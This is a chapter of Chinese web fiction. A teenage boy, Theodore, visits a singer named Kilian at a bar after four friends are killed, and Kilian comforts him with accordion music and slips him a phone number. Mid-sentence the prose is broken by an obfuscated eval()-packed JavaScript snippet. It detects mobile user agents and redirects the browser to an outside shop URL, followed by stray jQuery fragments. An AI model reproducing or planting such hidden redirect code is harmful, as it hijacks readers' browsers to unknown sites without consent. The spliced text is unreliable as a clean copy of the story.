天琴座酒吧在第八大道和布莱克街——也就是俗称的酒吧街——的交叉口，正门门面倒也是气阔，夹在一片灯红酒绿之间，却显得比周遭冷清。
霓虹灯招牌疑似是因为连日阴天，进水断了路，精心设计的天琴座图案时不时闪烁一下。
只是面目不可示人的人都是挤进小巷的侧门，比如想保守秘密的富豪，比如不被欢迎却依然想混进舞池的小贩，再比如没到许可年龄的孩子们。
之前麦克直接给了狄奥多侧门的地址，反倒是让狄奥多误会了这就是正门。
狄奥多推开那扇沉重的木门，没到热闹的时间，酒吧里还没什么人，在装饰墙隔断那端的舞池甚至没开灯。吧台边坐了两个中年男人，有一搭没一搭地喝着啤酒。角落的卡座空着。舞台上的设备还没开，只有一盏应急灯亮着，把整个空间照得昏黄。
酒保是个光头，西装马甲下的体格健壮，此时正专注地擦着杯子。他抬头看了狄奥多一眼，目光在他脸上停了一秒。
“未成年不能喝酒。”
“我不喝酒。”狄奥多说，“我找基利安。”
酒保的动作顿了一下。“基利安？”
“他告诉我他周三在这里驻唱。”
酒保放下杯子，上下打量了他一遍。“你是他什么人？”
狄奥多眼也不眨。“朋友。”
酒保的眼神发生了一丝变化，但狄奥多觉得其中不含恶意，反而有些古怪的兴味。男孩注意到对方的视线越过自己，往门口的方向扫了一眼。然后酒保指了指舞台旁边的一扇小门。
“他在后面调音。别待太久。”
狄奥多点点头，穿过空荡荡的舞池，走向那扇门。
门是虚掩着的。狄奥多抬手敲了敲，没人应。他便直接推开了门。
里面的空间比想象中小。一张折叠桌，两把椅子，墙上贴着几把旧海报。靠墙的角落放着一个半掩的琴箱，看不清里面是什么。反倒是折叠桌上摆着一架略显陈旧的手风琴。
基利安坐在桌前，背对着门，手里拿着一个起子，手边还有一卷白胶布。他穿着一件深色的毛衣，领口遮住脖颈；袖子挽到手肘，露出一截小臂。黑发打理得挺短，只是脑后的部分依然碰到了领口。
狄奥多站在门口，忽然觉得手足无措。
他为什么要来这里？为了确认基利安那天有没有看到什么？为了告诉他自己现在很沮丧？还是只是因为不想一个人待着？
意识到进门的人一直一言不发，椅子上的基利安转过头来。
那双绿眼睛在廉价的白炽灯下看起来比在巷子里的路灯下更透亮了。男人看到狄奥多，却没有惊讶，也没有疑问，只是看了他几秒，然后转回去继续拧手风琴上的螺丝。
“关门吧。”他说。
狄奥多关上门。
房间里只剩下机械结构扭曲发出的吱呀闷响。
“你怎么来了？”平静而自然地声音简直像他们是认识了十年的老友。
基利安的声音很特别，狄奥多突然意识到。看不见了那张脸，狄奥多才突然发现男人的声音也颇具辨识度。
狄奥多张了张嘴，情绪的激流被宁静的氛围包裹，又把那层包裹戳破。
男孩靠在门板上：“我的朋友死了。”
风箱挤出一声怪音，基利安停下了手中的活。
“四个。”狄奥多说，“前天晚上在酒吧里的那几个。都死了。”
基利安没说话。他把起子放下，侧过身来，靠在桌沿上。灯光从他侧面照过来，面部轮廓把灯光划出一道锐利的线。
“然后警察查到了那晚那个女孩。”狄奥多继续说，“她叫布莉安娜，是布伦达的妹妹。布伦达是他们的朋友，三个月前在这里死了。她认为他们有责任。”
黑发绿眼的男人不自在地抿唇。
“所以她把他们都杀了。但可能除了麦克。警察说麦克是别人杀的。”狄奥多干巴巴地叙述着。
基利安静静地看着他。
狄奥多不知道自己为什么要说这些。但这些话就像不受控制一样从他嘴里往外涌。
“我昨晚去找了麦克。他说他害怕，他说感觉有人在看着他。我让他别想太多，看着他回家。然后今天早上他就死了。被炸死在自己卧室里。”
狄奥多发现自己的声音在发抖。
他不想这样。
基利安从桌前站起来，走到他面前。
男人没说话，没有说“这不是你的错”，也没有说“会没事的”。他只是慢慢靠近，然后站在狄奥多面前，近到狄奥多能看清他毛衣领口的线头。然后他把手悬在狄奥多额前。狄奥多从他的动作里感受到了一丝犹豫。
“可以吗？”
狄奥多有些懵懂地“嗯”了一声。
男人用手心轻轻贴住了狄奥多耳上的颅骨，把他的脑袋扶正。
“警察立案了吗？”他看着狄奥多的眼睛，语调舒缓。
“立了。”
“他们怎么说？”
“他们说会尽力的。”
基利安顿了一下。狄奥多才意识到他好像跳过了一些环节。
比如为什么警方直接跳过了意外事故的选项。
一瞬间就想到我回答中的违和感。狄奥多渐渐清明的脑海中对眼前男人有多敏锐的认识又多了一分。
不过基利安没有追问，反而做了一件狄奥多没想到的事。
他伸出手，拉上了狄奥多手边的插销，关紧了休息的门。
“那你现在就在这里休息一下。”他说，语气平静，像是在说一件再普通不过的事。
狄奥多看着他，愣着神，傻傻地眨眨眼。
基利安已经转身回到桌前，拿起那卷白胶带，在椅子上坐下。他裁了一大块，比划一下，又裁成小块补在伤处。
然后他开始试音。几个音后，变成了曲子。
男人开始演奏。
不是狄奥多预想的那种经典的乡村小调，也不是酒吧驻唱常弹的热情舞曲。是很简单的东西，几个和弦重复地走，几乎像是摇篮曲。
狄奥多靠近小桌，坐在了空闲的椅子上。
琴声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489722|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在狭小的房间里回荡，被墙壁弹回来，又弹出去。头顶的灯管发出细微的电流声，和琴声混在一起，却仿佛是和声一般自然地融入了进去，让人沉醉其中。
狄奥多突然留意到就在剪刀旁，刚刚被基利安挡住的地方还放着一张叠好的信纸。连贯的单词几乎都被阴影遮蔽，看不到内容，但署名的位置一个笔迹漂亮的缩写清晰可见。
A.S.
他果然不真的叫基利安。狄奥多把那个缩写在心中默念一遍，努力把注意力集中到那两个字母上，想道。
琴声还在继续。
很轻，很稳，很悠扬。像有什么人在很远的地方，一遍一遍地重复着同一句话。
狄奥多垂下眼，看着男人的手指扣着手风琴，叶片分分合合。
幻象中废弃厂房的铁栅隔开的光影与鲜血，慢慢被替换成那些分分合合的叶片；耳畔依稀的惨叫淡去，变成了轻缓的琴声。
男孩不知道自己在哭。他只是觉得眼眶很热很酸，他控制不住脸上的肌肉抽动，然后有什么东西滑下来，滴在牛仔裤上，洇出一小块深色的印子。
琴声没有停。
基利安没有看他。他的手拉动着风箱，一遍又一遍，像潮水，像呼吸，是一种看不见的言语。
一首歌的时间、两首歌的时间……不知过了多久，琴声停了。基利安靠在椅背上，琴合在手中，看着他。
休息室的门外传来人声。有人在点酒，有人在笑。周三的晚上开始了。
基利安站起来，手风琴收好放在桌上。
“要在台下听我唱歌吗？”他说。
狄奥多站起来。他下意识想答应，却又想起舞池里的灯光，尴尬地张了张嘴。
基利安好像明白了什么，他笑笑，带着调侃意味：“或者就在这里等我？其实休息室也可以听的很清晰。”一边走向琴盒，从里面拿出了一把吉他。
原来里面没有什么特别的东西。不知怎地，狄奥多居然有点失望。他撵出两个鼻音。
“嗯，好。”
男人走到门口，拉开门。
“要不要我再去后厨给你顺个果盘？”
这下狄奥多不依了：
“你把我当无犯罪能力阶段的小孩吗？”男孩叉起了摇，以此捍卫自己的威严。
基利安关上门，在门缝里留下一个“那可不好说”的挑眉。
狄奥多又坐回椅子上，注意到桌面上的信纸不知什么时候消失了。不过他没有在意，而是把手插进口袋里。
口袋里有一张纸条。他摸出来，就着头顶廉价的白炽灯看着。
是基利安拿着琴与他刚才擦身而过的时候塞给他的。叠的很整齐，和那张信纸一样的材质，上面写着一串数字。
电话号码。
狄奥多看着那张纸条，忽然觉得晚风没有那么冷了。
这时门外传来一阵稀稀拉拉的掌声，然后是短暂的寂静。
演出要开始了。
狄奥多拿出手机，存好了号码。然后又把纸条重新小心地折好，放回了口袋最深处。